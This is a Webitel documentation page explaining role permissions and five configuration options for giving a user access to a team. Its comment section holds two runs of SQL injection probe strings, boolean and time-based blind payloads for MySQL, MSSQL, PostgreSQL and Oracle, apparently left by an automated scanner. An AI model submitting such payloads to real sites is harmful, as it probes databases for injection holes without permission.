1. Description

By default, there is one role - sysadmin, which has all rights and access.

The user has the right to access this or that page when configured with the necessary permissions.

The procedure for passing the access checks:

  1. Availability of a license;
  2. Permission to access the application;
  3. Permission to access the partition (for applications that have partitions);
  4. Permission for actions in the application/partition.

1.1. Availability of a license

Please get in touch with your Webitel representative to obtain a license.

1.2. App permission

The permission to access the application is defined on the Applications access tab of the role entry, which is on the Roles page from the Permissions category. How to set this resolution can be found here.

1.3. Permission to access the partition 

Permission to access a partition is defined in a modal window (opened through the editing tool of the application containing this partition) on the Applications access tab for the role entry, which is on the Roles page from the Permissions category. How to set this resolution can be found here.

In cases where additional settings are enabled (switch(s) in the on position) on the Objects page (from the Permissions category), access can be granted through the Managed by operations tab or the Permissions tab of the particular entry to which you want to get permission.

Available only for entry from those partitions to which access is granted!

1.4. Permission to action in an application/partition

By default (on the Objects page from the Permissions category, the switches are in the off position), those users who have permission to access the application or partition are allowed all actions.

Permission for actions in the partition can be configured:

  • On the Managed by operations tab of the entry of the particular partition, which is on the Objects page. They are used when additional settings are enabled (on the Objects page, in the entry of the particular partition, the Managed by operations switch is in the on position (Fig. 7);
  • On the Managed by records tab of the entry of the particular partition, which is on the Objects page. You can set default values for new entries in the selected partition (these settings will be set in the Permissions tab when creating a new entry in the chosen partition);
  • On the Role permissions tab to the role entry, which is on the Roles page. Here you can configure rights such as rights to eavesdrop on a conversation, view CDR phone numbers, export data  grid, play a call recording, as well as global rights to select, update, delete and create;
  • on the Permissions tab of the particular entry to which you want to obtain permission. They are used when additional settings are enabled (on the Objects page, in the entry of the particular partition, the Managed by records switch is on (Fig. 5)). Available only for entry from those sections to which access is granted!

Action permissions for a particular created entry can be changed in the tab of the entries, which are located in the following partition:

  • Users;
  • Devices;
  • Buckets;
  • Call lists;
  • Calendars;
  • Agents;
  • Teams;
  • Resources;
  • Resource groups;
  • Queues.

In the case when permission to access a partition is available, but additional settings are enabled (switch (s) in the on position) on the Objects page that does not allow viewing, then the right to view the partition may be granted via the Select right in the Role permissions tab (see Option 5).

2. Practical examples

A task:

Make settings under which the Test_User user will have access to view data about the Test_team team.

Option 1

These conditions are met:

  • license CALL_CENTER;
  • the Test_User user is assigned the Super-admin role (Fig. 1). The Super-admin role has access to the Admin application (Fig. 2) and the Team partition of this application (Fig. 3). Configured in the Applications access tab of the Super-admin entry, which is on the Roles page;

Fig.1. Assigning the Super-admin role

Fig.2. Allowing the Super-admin role to access the Admin application

Fig.3. Allowing the Super-admin role to access the Teams partition of the Admin application

  • on the Objects page in the cc_team entry, the Managed by operations and Managed by records  switches are off. (Fig.4).

Fig. 4. The Managed by operations and Managed by records  switches are off.

Option 2

These conditions are met:

  • license CALL_CENTER;
  • the Test_User user is assigned the Super-admin role (Fig. 1). The Super-admin role has access to the Admin application (Fig. 2) and the Team partition of this application (Fig. 3). Configured in the Applications access tab of the Super-admin entry, which is on the Roles page; 
  • on the Objects page in the cc_team entry, the Managed by records  switch is on (Fig.5).

Fig. 5. The Managed by records  switch is on

  • in the Permissions tab of the Test_team entry, that on the Teams page there is permission to action for the Test_User user, or for the Super-admin role (Fig. 6)

Fig.6. Action permission for Super-admin role

Option 3

These conditions are met:

  • license CALL_CENTER;
  • the Test_User user is assigned the Super-admin role (Fig. 1). The Super-admin role has access to the Admin application (Fig. 2) and the Team partition of this application (Fig. 3). Configured in the Applications access tab of the Super-admin entry, which is on the Roles page; 
  • on the Objects page in the cc_team entry, the Managed by operations  switch is on (Fig.7).

Fig. 7. The Managed by operations  switch is on

  • in the Managed by operations  tab of the cc_team entry, which is on the Objects page, there is permission to action for the Test_User user, or for the Super-admin role (Fig. 8).

Fig. 8. Action permission for Test_User user

Option 4

These conditions are met:

  • license CALL_CENTER;
  • the Test_User user is assigned the Super-admin role (Fig. 1). The Super-admin role has access to the Admin application (Fig. 2) and the Team partition of this application (Fig. 3). Configured in the Applications access tab of the Super-admin entry, which is on the Roles page; 
  • on the Objects page in the cc_team entry, the Managed by operations and Managed by records  switches are on. (Fig.9);

Fig. 9. The Managed by operations and Managed by records  switches are on

  • in the Managed by operations  tab of the cc_team entry, which is on the Objects page, there is permission to action for the Test_User user, or for the Super-admin role (Fig. 8);
  • in the Permissions tab of the Test_team entry, that on the Teams page there is permission to action for the Test_User user, or for the Super-admin role (Fig. 6).

Option 5

These conditions are met:

  • license CALL_CENTER;
  • the Test_User user is assigned the Super-admin role (Fig. 1). The Super-admin role has access to the Admin application (Fig. 2) and the Team partition of this application (Fig. 3). Configured in the Applications access tab of the Super-admin entry, which is on the Roles page; 
  • in the Role permissions  tab of the Super-admin entry, on the Roles page, there is the Select permission (Fig. 10).

Fig. 10. The Select permission

Attention!

If none of the above options are met, access is not granted!

  • No labels

125 Comments

  1. Anonymous

  2. Anonymous

  3. Anonymous

  4. Anonymous

  5. Anonymous

  6. Anonymous

  7. Anonymous

  8. Anonymous

  9. Anonymous

  10. Anonymous

  11. Anonymous

  12. Anonymous

  13. Anonymous

  14. Anonymous

  15. Anonymous

  16. Anonymous

  17. Anonymous

  18. Anonymous

  19. Anonymous

  20. Anonymous

  21. Anonymous

  22. Anonymous

  23. Anonymous

  24. Anonymous

  25. Anonymous

  26. Anonymous

  27. Anonymous

  28. Anonymous

    -1 OR 2+47-47-1=0+0+0+1 --
  29. Anonymous

    -1 OR 2+736-736-1=0+0+0+1
  30. Anonymous

    -1' OR 2+350-350-1=0+0+0+1 --
  31. Anonymous

    -1' OR 2+254-254-1=0+0+0+1 or 'tqDIpurP'='
  32. Anonymous

    -1" OR 2+387-387-1=0+0+0+1 --
  33. Anonymous

    if(now()=sysdate(),sleep(15),0)
  34. Anonymous

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  35. Anonymous

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  36. Anonymous

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  37. Anonymous

    -1; waitfor delay '0:0:15' --
  38. Anonymous

    -1); waitfor delay '0:0:15' --
  39. Anonymous

    1 waitfor delay '0:0:15' --
  40. Anonymous

    yeII6Uqb'; waitfor delay '0:0:15' --
  41. Anonymous

    -5 OR 20=(SELECT 20 FROM PG_SLEEP(15))--
  42. Anonymous

    -5) OR 906=(SELECT 906 FROM PG_SLEEP(15))--
  43. Anonymous

    -1)) OR 610=(SELECT 610 FROM PG_SLEEP(15))--
  44. Anonymous

    xasFTtm2' OR 23=(SELECT 23 FROM PG_SLEEP(15))--
  45. Anonymous

    wTo8w5a5') OR 357=(SELECT 357 FROM PG_SLEEP(15))--
  46. Anonymous

    XvhyabKh')) OR 490=(SELECT 490 FROM PG_SLEEP(15))--
  47. Anonymous

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  48. Anonymous

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  49. Anonymous

  50. Anonymous

  51. Anonymous

  52. Anonymous

  53. Anonymous

  54. Anonymous

  55. Anonymous

  56. Anonymous

  57. Anonymous

  58. Anonymous

  59. Anonymous

  60. Anonymous

  61. Anonymous

  62. Anonymous

  63. Anonymous

  64. Anonymous

  65. Anonymous

  66. Anonymous

  67. Anonymous

  68. Anonymous

  69. Anonymous

  70. Anonymous

  71. Anonymous

  72. Anonymous

  73. Anonymous

  74. Anonymous

  75. Anonymous

  76. Anonymous

  77. Anonymous

  78. Anonymous

  79. Anonymous

  80. Anonymous

  81. Anonymous

  82. Anonymous

  83. Anonymous

  84. Anonymous

  85. Anonymous

  86. Anonymous

  87. Anonymous

  88. Anonymous

  89. Anonymous

  90. Anonymous

  91. Anonymous

  92. Anonymous

  93. Anonymous

  94. Anonymous

  95. Anonymous

  96. Anonymous

  97. Anonymous

  98. Anonymous

  99. Anonymous

  100. Anonymous

  101. Anonymous

  102. Anonymous

  103. Anonymous

    -1 OR 2+102-102-1=0+0+0+1 --
  104. Anonymous

    -1 OR 2+213-213-1=0+0+0+1
  105. Anonymous

    -1' OR 2+434-434-1=0+0+0+1 --
  106. Anonymous

    -1' OR 2+522-522-1=0+0+0+1 or 'OZS9rGvE'='
  107. Anonymous

    -1" OR 2+55-55-1=0+0+0+1 --
  108. Anonymous

    if(now()=sysdate(),sleep(15),0)
  109. Anonymous

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  110. Anonymous

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  111. Anonymous

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  112. Anonymous

    -1; waitfor delay '0:0:15' --
  113. Anonymous

    -1); waitfor delay '0:0:15' --
  114. Anonymous

    1 waitfor delay '0:0:15' --
  115. Anonymous

    z1A0lyMG'; waitfor delay '0:0:15' --
  116. Anonymous

    -5 OR 596=(SELECT 596 FROM PG_SLEEP(15))--
  117. Anonymous

    -5) OR 481=(SELECT 481 FROM PG_SLEEP(15))--
  118. Anonymous

    -1)) OR 696=(SELECT 696 FROM PG_SLEEP(15))--
  119. Anonymous

    MT4ejpJw' OR 38=(SELECT 38 FROM PG_SLEEP(15))--
  120. Anonymous

    O8WoN5yZ') OR 132=(SELECT 132 FROM PG_SLEEP(15))--
  121. Anonymous

    ThVdJKoF')) OR 39=(SELECT 39 FROM PG_SLEEP(15))--
  122. Anonymous

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  123. Anonymous

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  124. Anonymous

  125. Anonymous

Write a comment…